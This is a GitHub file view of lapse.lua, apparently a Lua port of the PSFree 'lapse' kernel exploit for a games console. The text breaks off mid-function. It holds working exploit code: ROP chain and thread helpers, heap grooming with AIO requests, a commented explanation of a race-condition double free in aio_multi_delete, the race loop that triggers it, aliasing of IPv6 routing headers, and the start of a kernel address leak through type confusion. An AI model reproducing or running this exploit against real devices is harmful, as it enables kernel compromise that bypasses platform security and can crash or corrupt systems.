forked from n0llptr/remote_lua_loader
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathlapse.lua
More file actions
2087 lines (1553 loc) · 61.4 KB
/
Copy pathlapse.lua
File metadata and controls
2087 lines (1553 loc) · 61.4 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
--[[
Copyright (C) 2025 anonymous
This file `lapse.lua` contains a derivative work of `lapse.mjs`,
which originally is a part of PSFree.
Source: https://github.com/shahrilnet/remote_lua_loader/blob/main/payloads/psfree-1.5rc1.7z
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as
published by the Free Software Foundation, either version 3 of the
License, or (at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
]]
-- configuration
MAIN_CORE = 4
MAIN_RTPRIO = 0x100
NUM_WORKERS = 2
NUM_GROOMS = 0x200
NUM_HANDLES = 0x100
NUM_RACES = 100
NUM_SDS = 64
NUM_SDS_ALT = 48
NUM_ALIAS = 100
LEAK_LEN = 16
NUM_LEAKS = 16
NUM_CLOBBERS = 8
syscall.resolve({
unlink = 0xa,
socket = 0x61,
connect = 0x62,
bind = 0x68,
setsockopt = 0x69,
listen = 0x6a,
getsockopt = 0x76,
socketpair = 0x87,
thr_self = 0x1b0,
thr_exit = 0x1af,
sched_yield = 0x14b,
thr_new = 0x1c7,
cpuset_getaffinity = 0x1e7,
cpuset_setaffinity = 0x1e8,
rtprio_thread = 0x1d2,
evf_create = 0x21a,
evf_delete = 0x21b,
evf_set = 0x220,
evf_clear = 0x221,
thr_suspend_ucontext = 0x278,
thr_resume_ucontext = 0x279,
aio_multi_delete = 0x296,
aio_multi_wait = 0x297,
aio_multi_poll = 0x298,
aio_multi_cancel = 0x29a,
aio_submit_cmd = 0x29d,
kexec = 0x295,
})
-- misc functions
function wait_for(addr, threshold)
while memory.read_qword(addr):tonumber() ~= threshold do
sleep(1, "ns")
end
end
-- cpu related functions
function pin_to_core(core)
local level = 3
local which = 1
local id = -1
local setsize = 0x10
local mask = memory.alloc(0x10)
memory.write_word(mask, bit32.lshift(1, core))
return syscall.cpuset_setaffinity(level, which, id, setsize, mask)
end
function get_core_index(mask_addr)
local num = memory.read_dword(mask_addr):tonumber()
local position = 0
while num > 0 do
num = bit32.rshift(num, 1)
position = position + 1
end
return position - 1
end
function get_current_core()
local level = 3
local which = 1
local id = -1
local setsize = 0x10
local mask = memory.alloc(0x10)
syscall.cpuset_getaffinity(level, which, id, 0x10, mask)
return get_core_index(mask)
end
function rtprio(type, prio)
local PRI_REALTIME = 2
local rtprio = memory.alloc(0x4)
memory.write_word(rtprio, PRI_REALTIME)
memory.write_word(rtprio + 0x2, prio or 0) -- current_prio
syscall.rtprio_thread(type, 0, rtprio):tonumber()
if type == RTP_LOOKUP then
return memory.read_word(rtprio + 0x2):tonumber() -- current_prio
end
end
function set_rtprio(prio)
rtprio(RTP_SET, prio)
end
function get_rtprio()
return rtprio(RTP_LOOKUP)
end
-- rop functions
function rop_get_current_core(chain, mask)
local level = 3
local which = 1
local id = -1
chain:push_syscall(syscall.cpuset_getaffinity, level, which, id, 0x10, mask)
end
function rop_pin_to_core(chain, core)
local level = 3
local which = 1
local id = -1
local setsize = 0x10
local mask = memory.alloc(0x10)
memory.write_word(mask, bit32.lshift(1, core))
chain:push_syscall(syscall.cpuset_setaffinity, level, which, id, setsize, mask)
end
function rop_set_rtprio(chain, prio)
local PRI_REALTIME = 2
local rtprio = memory.alloc(0x4)
memory.write_word(rtprio, PRI_REALTIME)
memory.write_word(rtprio + 0x2, prio)
chain:push_syscall(syscall.rtprio_thread, 1, 0, rtprio)
end
--
-- primitive thread class
--
-- use thr_new to spawn new thread
--
-- only bare syscalls are supported. any attempt to call into few libc
-- fns (such as printf/puts) will result in a crash
--
prim_thread = {}
prim_thread.__index = prim_thread
function prim_thread.init()
local setjmp = fcall(libc_addrofs.setjmp)
local jmpbuf = memory.alloc(0x60)
-- get existing regs state
setjmp(jmpbuf)
prim_thread.fpu_ctrl_value = memory.read_dword(jmpbuf + 0x40)
prim_thread.mxcsr_value = memory.read_dword(jmpbuf + 0x44)
prim_thread.initialized = true
end
function prim_thread:prepare_structure()
local jmpbuf = memory.alloc(0x60)
-- skeleton jmpbuf
memory.write_qword(jmpbuf, gadgets["ret"]) -- ret addr
memory.write_qword(jmpbuf + 0x10, self.chain.stack_base) -- rsp - pivot to ropchain
memory.write_dword(jmpbuf + 0x40, prim_thread.fpu_ctrl_value) -- fpu control word
memory.write_dword(jmpbuf + 0x44, prim_thread.mxcsr_value) -- mxcsr
-- prep structure for thr_new
local stack_size = 0x400
local tls_size = 0x40
self.thr_new_args = memory.alloc(0x80)
self.tid_addr = memory.alloc(0x8)
local cpid = memory.alloc(0x8)
local stack = memory.alloc(stack_size)
local tls = memory.alloc(tls_size)
memory.write_qword(self.thr_new_args, libc_addrofs.longjmp) -- fn
memory.write_qword(self.thr_new_args + 0x8, jmpbuf) -- arg
memory.write_qword(self.thr_new_args + 0x10, stack)
memory.write_qword(self.thr_new_args + 0x18, stack_size)
memory.write_qword(self.thr_new_args + 0x20, tls)
memory.write_qword(self.thr_new_args + 0x28, tls_size)
memory.write_qword(self.thr_new_args + 0x30, self.tid_addr) -- child pid
memory.write_qword(self.thr_new_args + 0x38, cpid) -- parent tid
self.ready = true
end
function prim_thread:new(chain)
if not prim_thread.initialized then
prim_thread.init()
end
if not chain.stack_base then
error("`chain` argument must be a ropchain() object")
end
-- exit ropchain once finished
chain:push_syscall(syscall.thr_exit, 0)
local self = setmetatable({}, prim_thread)
self.chain = chain
return self
end
-- run ropchain in primitive thread
function prim_thread:run()
if not self.ready then
self:prepare_structure()
end
-- spawn new thread
if syscall.thr_new(self.thr_new_args, 0x68):tonumber() == -1 then
error("thr_new() error: " .. get_error_string())
end
self.ready = false
self.tid = memory.read_qword(self.tid_addr):tonumber()
return self.tid
end
-- sys/socket.h
AF_UNIX = 1
AF_INET = 2
AF_INET6 = 28
SOCK_STREAM = 1
SOCK_DGRAM = 2
SOL_SOCKET = 0xffff
SO_REUSEADDR = 4
SO_LINGER = 0x80
-- netinet/in.h
IPPROTO_TCP = 6
IPPROTO_UDP = 17
IPPROTO_IPV6 = 41
INADDR_ANY = 0
-- netinet/tcp.h
TCP_INFO = 0x20
size_tcp_info = 0xec
-- netinet/tcp_fsm.h
TCPS_ESTABLISHED = 4
-- netinet6/in6.h
IPV6_2292PKTOPTIONS = 25
IPV6_PKTINFO = 46
IPV6_NEXTHOP = 48
IPV6_RTHDR = 51
IPV6_TCLASS = 61
-- sys/cpuset.h
CPU_LEVEL_WHICH = 3
CPU_WHICH_TID = 1
-- sys/mman.h
MAP_SHARED = 1
MAP_FIXED = 0x10
-- sys/rtprio.h
RTP_SET = 1
RTP_PRIO_REALTIME = 2
--
AIO_CMD_READ = 1
AIO_CMD_WRITE = 2
AIO_CMD_FLAG_MULTI = 0x1000
AIO_CMD_MULTI_READ = bit32.bor(AIO_CMD_FLAG_MULTI, AIO_CMD_READ)
AIO_STATE_COMPLETE = 3
AIO_STATE_ABORTED = 4
-- max number of requests that can be created/polled/canceled/deleted/waited
MAX_AIO_IDS = 0x80
-- the various SceAIO syscalls that copies out errors/states will not check if
-- the address is NULL and will return EFAULT. this dummy buffer will serve as
-- the default argument so users don't need to specify one
AIO_ERRORS = memory.alloc(4 * MAX_AIO_IDS)
SCE_KERNEL_ERROR_ESRCH = 0x80020003
-- multi aio related functions
-- int aio_submit_cmd(
-- u_int cmd,
-- SceKernelAioRWRequest reqs[],
-- u_int num_reqs,
-- u_int prio,
-- SceKernelAioSubmitId ids[]
-- );
function aio_submit_cmd(cmd, reqs, num_reqs, ids)
local ret = syscall.aio_submit_cmd(cmd, reqs, num_reqs, 3, ids):tonumber()
if ret == -1 then
error("aio_submit_cmd() error: " .. get_error_string())
end
return ret
end
-- int aio_multi_delete(
-- SceKernelAioSubmitId ids[],
-- u_int num_ids,
-- int sce_errors[]
-- );
function aio_multi_delete(ids, num_ids, states)
states = states or AIO_ERRORS
local ret = syscall.aio_multi_delete(ids, num_ids, states):tonumber()
if ret == -1 then
error("aio_multi_delete() error: " .. get_error_string())
end
return ret
end
-- int aio_multi_poll(
-- SceKernelAioSubmitId ids[],
-- u_int num_ids,
-- int states[]
-- );
function aio_multi_poll(ids, num_ids, states)
states = states or AIO_ERRORS
local ret = syscall.aio_multi_poll(ids, num_ids, states):tonumber()
if ret == -1 then
error("aio_multi_poll() error: " .. get_error_string())
end
return ret
end
-- int aio_multi_cancel(
-- SceKernelAioSubmitId ids[],
-- u_int num_ids,
-- int states[]
-- );
function aio_multi_cancel(ids, num_ids, states)
states = states or AIO_ERRORS
local ret = syscall.aio_multi_cancel(ids, num_ids, states):tonumber()
if ret == -1 then
error("aio_multi_cancel() error: " .. get_error_string())
end
return ret
end
-- int aio_multi_wait(
-- SceKernelAioSubmitId ids[],
-- u_int num_ids,
-- int states[],
-- // SCE_KERNEL_AIO_WAIT_*
-- uint32_t mode,
-- useconds_t *timeout
-- );
function aio_multi_wait(ids, num_ids, states, mode, timeout)
states = states or AIO_ERRORS
mode = mode or 1
timeout = timeout or 0
local ret = syscall.aio_multi_wait(ids, num_ids, states, mode, timeout):tonumber()
if ret == -1 then
error("aio_multi_wait() error: " .. get_error_string())
end
return ret
end
function new_socket()
local sd = syscall.socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP):tonumber()
if sd == -1 then
error("new_socket() error: " .. get_error_string())
end
return sd
end
function new_tcp_socket()
local sd = syscall.socket(AF_INET, SOCK_STREAM, 0):tonumber()
if sd == -1 then
error("new_tcp_socket() error: " .. get_error_string())
end
return sd
end
function ssockopt(sd, level, optname, optval, optlen)
if syscall.setsockopt(sd, level, optname, optval, optlen):tonumber() == -1 then
error("setsockopt() error: " .. get_error_string())
end
end
function gsockopt(sd, level, optname, optval, optlen)
local size = memory.alloc(8)
memory.write_dword(size, optlen)
if syscall.getsockopt(sd, level, optname, optval, size):tonumber() == -1 then
error("getsockopt() error: " .. get_error_string())
end
return memory.read_dword(size):tonumber()
end
function make_reqs1(num_reqs)
local reqs1 = memory.alloc(0x28 * num_reqs)
for i=0,num_reqs-1 do
memory.write_dword(reqs1 + i*0x28 + 0x20, -1) -- fd
end
return reqs1
end
function spray_aio(loops, reqs1, num_reqs, ids, multi, cmd)
loops = loops or 1
cmd = cmd or AIO_CMD_READ
if multi == nil then multi = true end
local step = 4 * (multi and num_reqs or 1)
cmd = bit32.bor(cmd, (multi and AIO_CMD_FLAG_MULTI or 0))
for i=0, loops-1 do
aio_submit_cmd(cmd, reqs1, num_reqs, ids + (i * step))
end
end
function cancel_aios(ids, num_ids)
local len = MAX_AIO_IDS
local rem = num_ids % len
local num_batches = (num_ids - rem) / len
for i=0, num_batches-1 do
aio_multi_cancel(ids + (i*4*len), len)
end
if rem > 0 then
aio_multi_cancel(ids + (num_batches*4*len), rem)
end
end
function free_aios(ids, num_ids, do_cancel)
if do_cancel == nil then do_cancel = true end
local len = MAX_AIO_IDS
local rem = num_ids % len
local num_batches = (num_ids - rem) / len
for i=0, num_batches-1 do
local addr = ids + (i*4*len)
if do_cancel then
aio_multi_cancel(addr, len)
end
aio_multi_poll(addr, len)
aio_multi_delete(addr, len)
end
if rem > 0 then
local addr = ids + (num_batches*4*len)
if do_cancel then
aio_multi_cancel(addr, len)
end
aio_multi_poll(addr, len)
aio_multi_delete(addr, len)
end
end
function free_aios2(ids, num_ids)
free_aios(ids, num_ids, false)
end
-- exploit related functions
function setup(block_fd)
-- 1. block AIO
-- this part will block the worker threads from processing entries so that we may cancel them instead.
-- this is to work around the fact that aio_worker_entry2() will fdrop() the file associated with the aio_entry on ps5.
-- we want aio_multi_delete() to call fdrop()
local reqs1 = memory.alloc(0x28 * NUM_WORKERS)
local block_id = memory.alloc(4)
for i=0,NUM_WORKERS-1 do
memory.write_dword(reqs1 + i*0x28 + 8, 1) -- nbyte
memory.write_dword(reqs1 + i*0x28 + 0x20, block_fd) -- fd
end
aio_submit_cmd(AIO_CMD_READ, reqs1, NUM_WORKERS, block_id)
-- 2. heap grooming
-- chosen to maximize the number of 0x80 malloc allocs per submission
local num_reqs = 3
local groom_ids = memory.alloc(4 * NUM_GROOMS)
local greqs = make_reqs1(num_reqs)
-- allocate enough so that we start allocating from a newly created slab
spray_aio(NUM_GROOMS, greqs, num_reqs, groom_ids, false)
cancel_aios(groom_ids, NUM_GROOMS)
return block_id, groom_ids
end
pipe_buf = memory.alloc(8)
ready_signal = memory.alloc(0x8)
deletion_signal = memory.alloc(0x8)
function reset_race_state()
-- clean up race states
memory.write_qword(ready_signal, 0)
memory.write_qword(deletion_signal, 0)
end
function prepare_aio_multi_delete_rop(request_addr, sce_errs, pipe_read_fd)
local chain = ropchain()
-- set worker thread core to be the same as main thread core so they
-- will use similar per-cpu freelist bucket
rop_pin_to_core(chain, MAIN_CORE)
rop_set_rtprio(chain, MAIN_RTPRIO)
-- mark thread as ready
chain:push_write_qword_memory(ready_signal, 1)
-- this will block the thread until it is signalled to run
chain:push_syscall(syscall.read, pipe_read_fd, pipe_buf, 1)
-- do the deletion op
chain:push_syscall(syscall.aio_multi_delete, request_addr, 1, sce_errs+4)
-- mark deletion as finished
chain:push_write_qword_memory(deletion_signal, 1)
return chain
end
-- summary of the bug at aio_multi_delete():
--
-- void free_queue_entry(struct aio_entry *reqs2)
-- {
-- if (reqs2->ar2_spinfo != NULL) {
-- printf("[0]%s() line=%d Warning !! split info is here\n", __func__, __LINE__);
-- }
-- if (reqs2->ar2_file != NULL) {
-- // we can potentially delay .fo_close()
-- fdrop(reqs2->ar2_file, curthread);
-- reqs2->ar2_file = NULL;
-- }
-- // can double free on reqs2
-- // allocated size is 0x58 which falls onto malloc 0x80 zone
-- free(reqs2, M_AIO_REQS2);
-- }
--
-- int _aio_multi_delete(struct thread *td, SceKernelAioSubmitId ids[], u_int num_ids, int sce_errors[])
-- {
-- // ...
-- struct aio_object *obj = id_rlock(id_tbl, id, 0x160, id_entry);
-- // ...
-- u_int rem_ids = obj->ao_rem_ids;
-- if (rem_ids != 1) {
-- // BUG: wlock not acquired on this path
-- obj->ao_rem_ids = --rem_ids;
-- // ...
-- free_queue_entry(obj->ao_entries[req_idx]);
-- // the race can crash because of a NULL dereference since this path
-- // doesn't check if the array slot is NULL so we delay
-- // free_queue_entry()
-- obj->ao_entries[req_idx] = NULL;
-- } else {
-- // ...
-- }
-- // ...
-- }
function race_one(request_addr, tcp_sd, sds)
reset_race_state()
local sce_errs = memory.alloc(8)
memory.write_dword(sce_errs, -1)
memory.write_dword(sce_errs+4, -1)
local pipe_read_fd, pipe_write_fd = create_pipe()
-- prepare ropchain to race for aio_multi_delete
local delete_chain = prepare_aio_multi_delete_rop(request_addr, sce_errs, pipe_read_fd)
-- spawn worker thread
local thr = prim_thread:new(delete_chain)
local thr_tid = thr:run()
-- wait for the worker thread to ready
wait_for(ready_signal, 1)
local suspend_chain = ropchain()
-- notify worker thread to resume
suspend_chain:push_syscall(syscall.write, pipe_write_fd, pipe_buf, 1)
-- yield and hope the scheduler runs the worker next.
-- the worker will then sleep at soclose() and hopefully we run next
suspend_chain:push_syscall(syscall.sched_yield)
-- if we get here and the worker hasn't been reran then we can delay the
-- worker's execution of soclose() indefinitely
suspend_chain:push_syscall_with_ret(syscall.thr_suspend_ucontext, thr_tid)
suspend_chain:restore_through_longjmp()
suspend_chain:execute_through_coroutine()
local suspend_res = memory.read_qword(suspend_chain.retval_addr[1]):tonumber()
-- local suspend_res = syscall.thr_suspend_ucontext(thr_tid):tonumber()
printf("suspend %s: %d", hex(thr_tid), suspend_res)
local poll_err = memory.alloc(4)
aio_multi_poll(request_addr, 1, poll_err)
local poll_res = memory.read_dword(poll_err):tonumber()
printf("poll: %s", hex(poll_res))
local info_buf = memory.alloc(0x100)
local info_size = gsockopt(tcp_sd, IPPROTO_TCP, TCP_INFO, info_buf, 0x100)
if info_size ~= size_tcp_info then
printf("info size isn't " .. size_tcp_info .. ": " .. info_size)
end
local tcp_state = memory.read_byte(info_buf):tonumber()
print("tcp state: " .. hex(tcp_state))
local won_race = false
-- to win, must make sure that poll_res == 0x10003/0x10004 and tcp_state == 5
if poll_res ~= SCE_KERNEL_ERROR_ESRCH and tcp_state ~= TCPS_ESTABLISHED then
-- PANIC: double free on the 0x80 malloc zone.
-- important kernel data may alias
aio_multi_delete(request_addr, 1, sce_errs)
won_race = true
end
-- resume the worker thread
local resume = syscall.thr_resume_ucontext(thr_tid):tonumber()
printf("resume %s: %d", hex(thr_tid), resume)
wait_for(deletion_signal, 1)
if won_race then
local err_main_thr = memory.read_dword(sce_errs)
local err_worker_thr = memory.read_dword(sce_errs+4)
printf("sce_errs: %s %s", hex(err_main_thr), hex(err_worker_thr))
-- if the code has no bugs then this isn't possible but we keep the check for easier debugging
-- NOTE: both must be equal 0 for the double free to works
if err_main_thr ~= err_worker_thr then
error("bad won")
end
-- RESTORE: double freed memory has been reclaimed with harmless data
-- PANIC: 0x80 malloc zone pointers aliased
return make_aliased_rthdrs(sds)
end
return nil
end
function build_rthdr(buf, size)
local len = bit32.band(
bit32.rshift(size, 3) - 1,
bit32.bnot(1)
)
size = bit32.lshift(len + 1, 3)
memory.write_byte(buf, 0) -- ip6r_nxt
memory.write_byte(buf+1, len) -- ip6r_len
memory.write_byte(buf+2, 0) -- ip6r_type
memory.write_byte(buf+3, bit32.rshift(len, 1)) -- ip6r_segleft
return size
end
function get_rthdr(sd, buf, len)
return gsockopt(sd, IPPROTO_IPV6, IPV6_RTHDR, buf, len)
end
function set_rthdr(sd, buf, len)
ssockopt(sd, IPPROTO_IPV6, IPV6_RTHDR, buf, len)
end
function free_rthdrs(sds)
for _, sd in ipairs(sds) do
ssockopt(sd, IPPROTO_IPV6, IPV6_RTHDR, 0, 0)
end
end
function make_aliased_rthdrs(sds)
local marker_offset = 4
local size = 0x80
local buf = memory.alloc(size)
local rsize = build_rthdr(buf, size)
for loop=1,NUM_ALIAS do
for i=1, NUM_SDS do
memory.write_dword(buf + marker_offset, i)
set_rthdr(sds[i], buf, rsize)
end
for i=1, NUM_SDS do
get_rthdr(sds[i], buf, size)
local marker = memory.read_dword(buf + marker_offset):tonumber()
-- printf("loop[%d] -- sds[%d] = %s", loop, i, hex(marker))
if marker ~= i then
local sd_pair = { sds[i], sds[marker] }
printf("aliased rthdrs at attempt: %d (found pair: %d %d)", loop, sd_pair[1], sd_pair[2])
table.remove(sds, marker)
table.remove(sds, i) -- we're assuming marker > i, or else indexing will change
free_rthdrs(sds)
for i=1,2 do
table.insert(sds, new_socket())
end
return sd_pair
end
end
end
errorf("failed to make aliased rthdrs: size %s", hex(size))
end
function double_free_reqs2(sds)
-- 1. setup socket to wait for soclose
local function htons(port)
return bit32.bor(bit32.lshift(port, 8), bit32.rshift(port, 8)) % 0x10000
end
local function aton(ip)
local a, b, c, d = ip:match("(%d+).(%d+).(%d+).(%d+)")
return bit32.bor(bit32.lshift(d, 24), bit32.lshift(c, 16), bit32.lshift(b, 8), a)
end
local server_addr = memory.alloc(16)
memory.write_byte(server_addr + 1, AF_INET) -- sin_family
memory.write_word(server_addr + 2, htons(5050)) -- sin_port
memory.write_dword(server_addr + 4, aton("127.0.0.1"))
local sd_listen = new_tcp_socket()
printf("sd_listen: %d", sd_listen)
local enable = memory.alloc(4)
memory.write_dword(enable, 1)
ssockopt(sd_listen, SOL_SOCKET, SO_REUSEADDR, enable, 4)
if syscall.bind(sd_listen, server_addr, 16):tonumber() == -1 then
error("bind() error: " .. get_error_string())
end
if syscall.listen(sd_listen, 1):tonumber() == -1 then
error("listen() error: " .. get_error_string())
end
-- 2. start the race
local num_reqs = 3
local which_req = num_reqs - 1
local reqs1 = make_reqs1(num_reqs)
local aio_ids = memory.alloc(4 * num_reqs)
local req_addr = aio_ids + (4 * which_req)
local cmd = AIO_CMD_MULTI_READ
for i=1,NUM_RACES do
local sd_client = new_tcp_socket()
printf("sd_client: %d", sd_client)
if syscall.connect(sd_client, server_addr, 16):tonumber() == -1 then
error("connect() error: " .. get_error_string())
end
local sd_conn = syscall.accept(sd_listen, 0, 0):tonumber()
if sd_conn == -1 then
error("accept() error: " .. get_error_string())
end
printf("sd_conn: %d", sd_conn)
local linger_buf = memory.alloc(8)
memory.write_dword(linger_buf, 1) -- l_onoff - linger active
memory.write_dword(linger_buf+4, 1) -- l_linger - how many seconds to linger for
-- force soclose() to sleep
ssockopt(sd_client, SOL_SOCKET, SO_LINGER, linger_buf, 8)
memory.write_dword(reqs1 + which_req*0x28 + 0x20, sd_client)
aio_submit_cmd(cmd, reqs1, num_reqs, aio_ids)
aio_multi_cancel(aio_ids, num_reqs)
aio_multi_poll(aio_ids, num_reqs)
-- drop the reference so that aio_multi_delete() will trigger _fdrop()
syscall.close(sd_client)
local res = race_one(req_addr, sd_conn, sds)
-- MEMLEAK: if we won the race, aio_obj.ao_num_reqs got decremented
-- twice. this will leave one request undeleted
aio_multi_delete(aio_ids, num_reqs)
syscall.close(sd_conn)
if res then
printf("won race at attempt %d", i)
syscall.close(sd_listen)
return res
end
end
error("failed aio double free")
end
function new_evf(name, flags)
local ret = syscall.evf_create(name, 0, flags):tonumber()
if ret == -1 then
error("evf_create() error: " .. get_error_string())
end
return ret
end
function set_evf_flags(id, flags)
if syscall.evf_clear(id, 0):tonumber() == -1 then
error("evf_clear() error: " .. get_error_string())
end
if syscall.evf_set(id, flags):tonumber() == -1 then
error("evf_set() error: " .. get_error_string())
end
end
function free_evf(id)
if syscall.evf_delete(id):tonumber() == -1 then
error("evf_delete() error: " .. get_error_string())
end
end
function verify_reqs2(addr, cmd)
-- reqs2.ar2_cmd
if memory.read_dword(addr):tonumber() ~= cmd then
return false
end
-- heap_prefixes is a array of randomized prefix bits from a group of heap
-- address candidates. if the candidates truly are from the heap, they must
-- share a common prefix
local heap_prefixes = {}
-- check if offsets 0x10 to 0x20 look like a kernel heap address
for i = 0x10, 0x20, 8 do
if memory.read_word(addr + i + 6):tonumber() ~= 0xffff then
return false
end
table.insert(heap_prefixes, memory.read_word(addr + i + 4):tonumber())
end
-- check reqs2.ar2_result.state
-- state is actually a 32-bit value but the allocated memory was initialized with zeros.
-- all padding bytes must be 0 then
local state1 = memory.read_dword(addr + 0x38):tonumber()
local state2 = memory.read_dword(addr + 0x38 + 4):tonumber()
if not (state1 > 0 and state1 <= 4) or state2 ~= 0 then
return false
end
-- reqs2.ar2_file must be NULL since we passed a bad file descriptor to aio_submit_cmd()
if memory.read_qword(addr + 0x40) ~= uint64(0) then
return false
end
-- check if offsets 0x48 to 0x50 look like a kernel address
for i = 0x48, 0x50, 8 do
if memory.read_word(addr + i + 6):tonumber() == 0xffff then
-- don't push kernel ELF addresses
if memory.read_word(addr + i + 4):tonumber() ~= 0xffff then
table.insert(heap_prefixes, memory.read_word(addr + i + 4):tonumber())
end
-- offset 0x48 can be NULL
elseif (i == 0x50) or (memory.read_qword(addr + i) ~= uint64(0)) then
return false
end
end
if #heap_prefixes < 2 then
return false
end
local first_prefix = heap_prefixes[1]
for idx = 2, #heap_prefixes do
if heap_prefixes[idx] ~= first_prefix then
return false
end
end
return true
end
function leak_kernel_addrs(sd_pair, sds)
local sd = sd_pair[1]
local buflen = 0x80 * LEAK_LEN
local buf = memory.alloc(buflen)
-- type confuse a struct evf with a struct ip6_rthdr.
-- the flags of the evf must be set to >= 0xf00 in order to fully leak the contents of the rthdr
print("confuse evf with rthdr")
local name = memory.alloc(1)
-- free one of rthdr
syscall.close(sd_pair[2])
local evf = nil
for i=1, NUM_ALIAS do
local evfs = {}
-- reclaim freed rthdr with evf object
for j=1, NUM_HANDLES do
local evf_flags = bit32.bor(0xf00, bit32.lshift(j, 16))
table.insert(evfs, new_evf(name, evf_flags))